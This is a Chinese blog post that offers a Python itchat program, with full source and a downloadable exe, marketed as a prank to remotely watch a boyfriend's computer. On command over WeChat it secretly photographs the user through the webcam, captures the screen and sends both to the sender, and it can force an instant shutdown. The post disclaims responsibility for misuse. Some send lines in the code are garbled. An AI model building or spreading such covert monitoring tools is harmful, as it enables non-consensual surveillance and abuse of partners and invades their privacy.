微信遠端監控男友上網在幹啥
阿新 • • 發佈:2018-12-01
今天給大家介紹一個實用又具備惡搞能力的python程式。
興趣是最好的老師,我為什麼在寫python,很大一部分原因是因為python能寫出很多有意思好玩的東西。
我們先看下這個程式能實現什麼樣的效果。
這個程式目前主要有兩個功能,一個是攝像頭拍照和電腦螢幕截圖,回覆數字 1 即可控制電腦開啟攝像頭自動為電腦使用者拍照,同時可以自動擷取當前電腦螢幕,並且會把兩張圖片傳送到你的微信上,這樣就可以看到你的電腦使用者(可以是男朋友)在幹什麼了。還有一個實用功能就是電腦關機,回覆數字 2 即可強制電腦立即關機,關於這個功能大家要慎用,具體使用場景大家可以自由發揮,但由此帶來的不良後果本程式概不負責哈,特此宣告。
不知道大家有沒有感覺到很神奇,對我來說這就是python的魅力所在,下面再來簡單說下這個python程式的實現原理。這個程式主要是利用了一個python第三方庫itchat,itchat是一個關於微信操作的庫,很多微信機器人都用了類似的庫,itchat能把微信使用者輸入的東西傳給這個python程式,然後這個python程式接收到微信使用者資訊後再對咱們的電腦執行相應的命令,這就是這個python程式的實現流程。
其實這個程式的程式碼也很簡單,下面是這個python程式的原始碼,當然,為了讓大家能快速體驗這個python程式,我特意將python程式打包成了一個可直接執行的程式,大家在公眾號後臺回覆 002 即可下載該程式,下載到電腦後,直接雙擊即可執行,執行後會彈出微信登入二維碼,大家可放心掃碼登入即可,登入成功後即可在微信上控制電腦了。
import itchat
import os
import time
import cv2
from PIL import ImageGrab
sendMsg = u"{訊息助手}:暫時無法回覆"
usageMsg = u"使用方法:\n回覆 1 電腦螢幕自動截圖和給電腦使用者拍照,並且傳送照片到微信。\n" \
u"回覆 2 電腦關機 \n"
flag = 0 #訊息助手開關
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename, 'w')
@itchat.msg_register('Text')
def text_reply(msg):
global flag
message = msg['Text']
fromName = msg['FromUserName']
toName = msg['ToUserName']
if toName == "filehelper":
if message == "1":
cap = cv2.VideoCapture(0)
ret, img = cap.read()
cv2.imwrite("weixinTemp.jpg", img)
itchat.send('@ [email protected]%s'%u'weixinTemp.jpg', 'filehelper')
cap.release()
#電腦螢幕截圖
screen = ImageGrab.grab()
screen.save('./screenShot.png','png')
itchat.send('@[email protected]%s'%u'screenShot.png', 'filehelper')
if message == "2":
os.system('shutdown -s -t 0')
elif flag == 1:
itchat.send(sendMsg, fromName)
myfile.write(message)
myfile.write("\n")
myfile.flush()
if __name__ == '__main__':
itchat.auto_login()
itchat.send(usageMsg, "filehelper")
itchat.run()
在公眾號後臺回覆 002 即可下載可直接執行的程式,程式名字叫wechatControl.exe。